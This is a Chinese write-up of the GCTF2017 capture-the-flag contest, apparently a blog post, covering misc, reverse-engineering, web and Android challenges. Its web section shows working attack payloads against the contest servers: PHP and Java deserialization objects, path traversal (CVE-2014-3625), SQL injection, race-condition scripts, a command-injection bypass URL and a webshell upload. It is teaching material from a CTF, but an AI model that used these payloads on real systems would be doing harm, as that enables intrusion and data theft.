GCTF2017(首屆全球華人網(wǎng)絡(luò)安全技能大賽) writeup

謎一般的比賽。。
題目實(shí)在是太多了,而且時(shí)間還只有一天=。=,還好在最后沖到了第六。。。

一、Misc

stage1:

拿到圖片,使用Stegsolve.jar,在gray panel發(fā)現(xiàn)一個(gè)反色二維碼,使用mac預(yù)覽實(shí)現(xiàn)反色。

a.png

之后后掃描得到一串十六進(jìn)制數(shù)。

03F30D0AB6266A576300000000000000000100000040000000730D0000006400008400005A00006401005328020000006300000000030000000800000043000000734E0000006401006402006403006404006405006406006405006407006708007D00006408007D0100781E007C0000445D16007D02007C01007400007C0200830100377D0100712B00577C010047486400005328090000004E6941000000696C000000697000000069680000006961000000694C0000006962000000740000000028010000007403000000636872280300000074030000007374727404000000666C6167740100000069280000000028000000007307000000746573742E7079520300000001000000730A00000000011E0106010D0114014E280100000052030000002800000000280000000028000000007307000000746573742E707974080000003C6D6F64756C653E010000007300000000

發(fā)現(xiàn)頭部03F30D0A是pyc的magic number,于是python導(dǎo)入后執(zhí)行dir發(fā)現(xiàn)有一個(gè)flag函數(shù),執(zhí)行后得到flag。

b.png

revereMe

觀察到頭尾發(fā)現(xiàn)反序jpg的magic number(FF D8和FF D9),用python將字節(jié)逆過(guò)來(lái)即可看到flag圖片。

f=open('b','wb')
f.write(open('a','rb').read()[::-1])

test.pyc

用dis和uncompile2查看pyc發(fā)現(xiàn)flag3函數(shù)的邏輯,將給出字符串逆過(guò)來(lái)解base64再逆過(guò)來(lái)并且每個(gè)字符減一即可。

a = '=cWbihGfyMzNllzZ0cjZzMWN5cTM4YjYygTOycmNycWNyYmM1Ujf'

import base64

print ''.join(map(lambda x: chr(ord(x)-1), base64.b64decode(a[::-1])))[::-1]


二、Reverse

Hackme:

hackme題目給出了一個(gè)64位的二進(jìn)制程序,可以在linux下運(yùn)行,運(yùn)行結(jié)果如下:

Give me the password: aaaa
Oh no!

那么這個(gè)題目應(yīng)該就是讓我們找一個(gè)能通過(guò)的pasword啦。

去ida里邊打開題目分析看看,首先查看字符串,發(fā)現(xiàn)有這么一個(gè)看起來(lái)很厲害的字符串:

.rodata:00000000004881BE 00000009 C Congras\n

一看就讓人覺得這就是通過(guò)之后的樣子,于是跟過(guò)去看看,簡(jiǎn)單的做一下分析,可以得到這么一個(gè)函數(shù):

__int64 __fastcall main(__int64 a1, char *password)
{
  char input_pas[136]; // [sp+10h] [bp-B0h]@1
  int v4; // [sp+98h] [bp-28h]@12
  char v5; // [sp+9Fh] [bp-21h]@8
  int v6; // [sp+A0h] [bp-20h]@5
  unsigned __int8 input_char; // [sp+A6h] [bp-1Ah]@5
  char original_bytes; // [sp+A7h] [bp-19h]@5
  int v9; // [sp+A8h] [bp-18h]@5
  int v10; // [sp+ACh] [bp-14h]@5
  int v11; // [sp+B0h] [bp-10h]@5
  int ten_times; // [sp+B4h] [bp-Ch]@4
  int check_result; // [sp+B8h] [bp-8h]@4
  int length; // [sp+BCh] [bp-4h]@1

  printf("Give me the password: ");
  scanf("%s", my_pass);
  for ( length = 0; my_pass[length]; ++length )
    ;
  is_right = length == 22;
  cnt = 10;
  do
  {
    v9 = (signed int)sub_406D90() % 22;
    v11 = 0;
    compareByte = fileBytes[(signed __int64)v9];
    aChar = my_pass[v9];
    v6 = v9 + 1;
    v10 = 0;
    while ( v10 < v6 )
    {
      ++v10;
      v11 = 0x6D01788D * v11 + 12345;
    }
    v5 = v11 ^ aChar;
    if ( compareByte != ((unsigned __int8)v11 ^ aChar) )
      check_result = 0;
    --cnt;
  }
  while ( cnt );
  if ( is_right )
    v4 = printf("Congras\n", password);
  else
    v4 = printf("Oh no!\n", password);
  return 0LL;
}

邏輯還是比較簡(jiǎn)單的,唯一一個(gè)比較神奇的地方是sub_406D90,實(shí)在是不知道是啥,不過(guò)根據(jù)猜測(cè),
我覺得他得到的數(shù)不應(yīng)該是變化的,不然題目的答案就不固定了,so,調(diào)試了一下發(fā)現(xiàn)真的是固定的。

那么剩下的任務(wù)就是把這個(gè)函數(shù)抄下來(lái)了,一個(gè)又去的地方是v5那兒,v5的亦或,其實(shí)也就是最后和
compareByte比較的那個(gè),亦或是可逆的,所以按照他這里的比較,compareByte = v11 ^ aChar
因?yàn)?v11 ^ aChar ^ v11 = aChar,所以如果得到compareByte和v11了,就可以得到正確的數(shù)了。
v11的值和v16有關(guān),v6和v9有關(guān),v9的值其實(shí)是固定的,而且我抄了幾個(gè)發(fā)現(xiàn)沒啥規(guī)律,大致思考了一下,
v9的數(shù)其實(shí)是沒有關(guān)系的。v9只要小于22就行了,因?yàn)閮蓚€(gè)v9一樣使得比較的位置一樣,那么v11也一樣,
所以v9只要從0到21就可以了,所以有這個(gè)思路,用C寫一個(gè)算一遍就好了

#include <stdio.h>
char *cmp = "\x5f\xf2\x5e\x8b\x4e\x0e\xa3\xaa\xc7\x93\x81\x3d\x5f\x74\xa3\x09"
        "\x91\x2b\x49\x28\x93\x67";


int main() {
    for (int i = 0; i < 22; i++) {
        char to_cmp = cmp[i];
        int v10 = 0;
        int v6 = i + 1;
        int v11 = 0;
        while (v10 < v6) {
            v10 ++;
            v11 = 0x6d01788d * v11 + 12345;
        }
        printf("%c", (char)v11 ^ to_cmp);
    }
    return 0;
}

最后flag: flag{d826e6926098ef46}

debug.exe

用jeb觀察邏輯,發(fā)現(xiàn)過(guò)一個(gè)check就行,根據(jù)邏輯寫出下面exp得到flag

def trans(a, b):
    return [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67, 71, 73, 79, 83, 89, 97, 101, 103, 107, 109, 113][b]^a

print trans(1,10)

def cal(a, b):
    for i in a:
        i = ord(i)
        for j in range(1,15):
            i = trans(i, j)
        b += chr(i)
    return b

import hashlib

b = cal('CreateByTenshine','')

m = hashlib.md5()

m.update(b)

print 'flag{' + m.hexdigest().upper() + '}'

三、Web

PHP序列化:

可以直接看到index.php的源碼:

<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set('session.serialize_handler', 'php_serialize');
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET['src'])){
    $_SESSION['src'] = $_GET['src'];
    highlight_file(__FILE__);
    print_r($_SESSION['src']);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
  <title>代碼審計(jì)2</title>
 </head>
 <body>
 在php中,經(jīng)常會(huì)使用序列化操作來(lái)存取數(shù)據(jù),但是在序列化的過(guò)程中如果處理不當(dāng)會(huì)帶來(lái)一些安全隱患。
<form action="./query.php" method="POST">        
<input type="text" name="ticket" />               
<input type="submit" />
</form>
<a href="./?src=1">查看源碼</a>
</body>
</html>

然后訪問(wèn)query.php的時(shí)候提示:

Look me: edit by vim 0

試了一下vim備份文件的后綴,query.php~可以讀到源碼:

//query.php 部分代碼
session_start();
header('Look me: edit by vim ~0~')
//......
class TOPA{
    public $token;
    public $ticket;
    public $username;
    public $password;
    function login(){
        //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
        $this->username =='aaaaaaaaaaaaaaaaa' && $this->password == 'bbbbbbbbbbbbbbbbbb'){
            return 'key is:{'.$this->token.'}';
        }
    }
}
class TOPB{
    public $obj;
    public $attr;
    function __construct(){
        $this->attr = null;
        $this->obj = null;
    }
    function __toString(){
        $this->obj = unserialize($this->attr);
        $this->obj->token = $FLAG;
        if($this->obj->token === $this->obj->ticket){
           return (string)$this->obj;
        }
    }
}
class TOPC{
    public $obj;
    public $attr;
    function __wakeup(){
        $this->attr = null;
        $this->obj = null;
    }
    function __destruct(){
        echo $this->attr;
    }
}

很明顯需要序列化。在index.php里面設(shè)置了php的序列化handler是'php_serialize',而query.php里面沒有設(shè)置,也就是默認(rèn)的'php',所以可以利用session反序列化調(diào)用query.php里面的類。
只有TOPC有echo,分析了一下,構(gòu)造順序應(yīng)該是:

TOPC > TOPB > TOPA

其中有幾個(gè)點(diǎn):

1. __wakeup可以通過(guò)改變屬性數(shù)目大于實(shí)際數(shù)目繞過(guò)
2. 通過(guò)建立引用關(guān)系使得$this->obj->token和$this->obj->ticket保持相等
3. username和password可以直接取0,0弱等于字符串

試了一下,感覺線上的源碼不太一樣,會(huì)調(diào)用login,并且反序列化的時(shí)候會(huì)先反序列化內(nèi)層的
構(gòu)造payload:

|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

在index.php設(shè)置一下session,再訪問(wèn)query.php就行了

spring-css:

google了一下,有一個(gè)CVE的洞cve-2014-3625
鏈接里面有exp,讀一下/etc/passwd,發(fā)現(xiàn):

flag:x:1000:1000:Linux User,,,:/home/flag:/etc/flag

根據(jù)提示再讀/etc/flag

http://218.2.197.232:18015/spring-css/resources/file:/etc/flag

注入越權(quán):

源碼有提示:

<!--
2015.10.16
防越權(quán)改造,當(dāng)uid=0且role=admin時(shí)顯示管理員頁(yè)面。
 -->   

發(fā)現(xiàn)uid可以直接修改,修改role不行,輸引號(hào)會(huì)被mysql_escape_string攔 。
試了一下發(fā)現(xiàn)uid輸反引號(hào)會(huì)報(bào)錯(cuò),看了一下大概是update語(yǔ)句,所以可以注入設(shè)置role,引號(hào)不能用,就用admin的十六進(jìn)制代替,也就是

uid=0,role=0x61646d696e

修改后返回原頁(yè)面,得到flag

條件競(jìng)爭(zhēng):

題目給了源碼,看了一下在reset密碼時(shí)存在條件競(jìng)爭(zhēng)漏洞,reset時(shí)有兩步:

  1. 先將該用戶信息清空并新插入一條信息,這時(shí)notadmin為False
  2. 然后再將notadmin設(shè)置為True

那么只要在第二步之前登錄即可,所以跑兩個(gè)程序,一個(gè)reset,一個(gè)login即可,我這里分別開了15個(gè)協(xié)程:

reset.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def reset():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        a = requests.post("http://218.2.197.232:18009/index.php?method=reset",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(a)

tasks = [gevent.spawn(reset) for i in range(15)]
gevent.joinall(tasks)
login.py
import requests
from gevent import monkey
import gevent
monkey.patch_all()

def login():
    for i in range(100):
        cookies = {'PHPSESSID':'crr472f26gv9ef64rcu39obu01'}
        b = requests.post("http://218.2.197.232:18009/login.php?method=login",data={'name':'c610599c37103bf5','password':'zzm'},cookies=cookies).text
        print(b)

tasks = [gevent.spawn(login) for i in range(15)]
gevent.joinall(tasks)

很快就能讀到flag:

image.png

讀文件:

只給了個(gè)1.txt可以讀,試了一下加*不行,感覺不是命令執(zhí)行,"../"返回上級(jí)目錄也不行,猜測(cè)可能過(guò)濾了什么,在1.txt中間加上"./"發(fā)現(xiàn)仍能讀取,說(shuō)明"./"被過(guò)濾了,構(gòu)造payload,在上級(jí)目錄的flag.php的注釋里讀到flag

http://218.2.197.232:18008/a/down.php?p=...//fla./g.php

Web綜合:

發(fā)現(xiàn)有.svn泄露,下載下來(lái)sqlite數(shù)據(jù)庫(kù)文件,找到settings.inc.php的checksum,然后在

http://218.2.197.232:18007/.svn/pristine/c6/c63308801a9ec3b0c1aea96b061c00b1666adebb.svn-base

可以讀到源代碼,源碼里有admin的密碼,登陸上去可以上傳圖片,這里上傳一個(gè)圖片馬就行了,只驗(yàn)證了content-type,菜刀連上去后,在07目錄下找到f1a9.php

RCE繞過(guò):

命令前后需要空格,但是被過(guò)濾,用%0a繞過(guò),命令中的空格就不行了,fuzz一下,發(fā)現(xiàn)%09可以。另外"."也被過(guò)濾了,可以用*,于是直接讀到flag.php:

http://218.2.197.232:18006/?cmd=%0acat%09fla*%0a

JAVA序列化:

網(wǎng)上找了個(gè)JAVA序列化的例子,推測(cè)了一下大概的格式,然后把題目的object的id和name對(duì)應(yīng)修改一下,再Base64就OK了

rO0ABXNyAA9jb20uY3RmLmNuLlVzZXIAAAAAA/kvvQIAAkwAAmlkdAATTGphdmEvbGFuZy9JbnRlZ2VyO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABdAAFYWRtaW4=

變態(tài)驗(yàn)證碼怎么過(guò):

網(wǎng)上搜了一下幾種繞驗(yàn)證碼的方式,都試了一下,發(fā)現(xiàn)只要第一次輸對(duì)了驗(yàn)證碼,后面直接把驗(yàn)證碼設(shè)為空串就行了,然后用Burp和他給的password.txt爆破一下就行了

Forbidden:

注釋提示要本機(jī)訪問(wèn),各種改頭部沒用,后來(lái)發(fā)現(xiàn)改成localhost才行,也是醉了,然后后續(xù)每次修改都會(huì)有個(gè)提示,改Host啊,改Referer,改UA什么的,一步一步來(lái)就能得到最后flag

熱身題:

掃了一下目錄發(fā)現(xiàn)robots.txt,挨個(gè)讀了一下里面的文件,最后在rob0t.php里面讀到flag

四、Mobile

APK逆向

逆向看MainActivity,發(fā)現(xiàn)在checkSN中用輸入與flag作比較

1.png

在對(duì)應(yīng)點(diǎn)打斷點(diǎn)

image.png

動(dòng)態(tài)調(diào)試,斷下來(lái)后就是flag

image.png

APK逆向2

Jeb查看manifest文件報(bào)錯(cuò)

image.png

解壓出AndroidManifest.xml,用010Editor查看,即可得flag

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 179,037評(píng)論 25 709
  • 捉迷藏 題目url:http://218.76.35.75:20111/index.php 進(jìn)去之后查看源碼: 發(fā)...
    Pr0ph3t閱讀 1,758評(píng)論 0 2
  • 漫步竹林 憑欄聽雨 愜意生活 獨(dú)缺一書 一人 一知己
    城市里的zhu閱讀 245評(píng)論 0 1
  • 你之前可能已經(jīng)使用過(guò)Xcode的代碼片段(Code Snippets)功能了,一些常見的是for in片段和dis...
    泰克2008閱讀 1,880評(píng)論 0 1
  • 2017年年初,我在自己的新年計(jì)劃里寫下了一個(gè)新年愿望:習(xí)得寫作技能,為此我的數(shù)量目標(biāo)是發(fā)布至少60篇文章。半年過(guò)...
    波米諾不知道閱讀 295評(píng)論 0 0

友情鏈接更多精彩內(nèi)容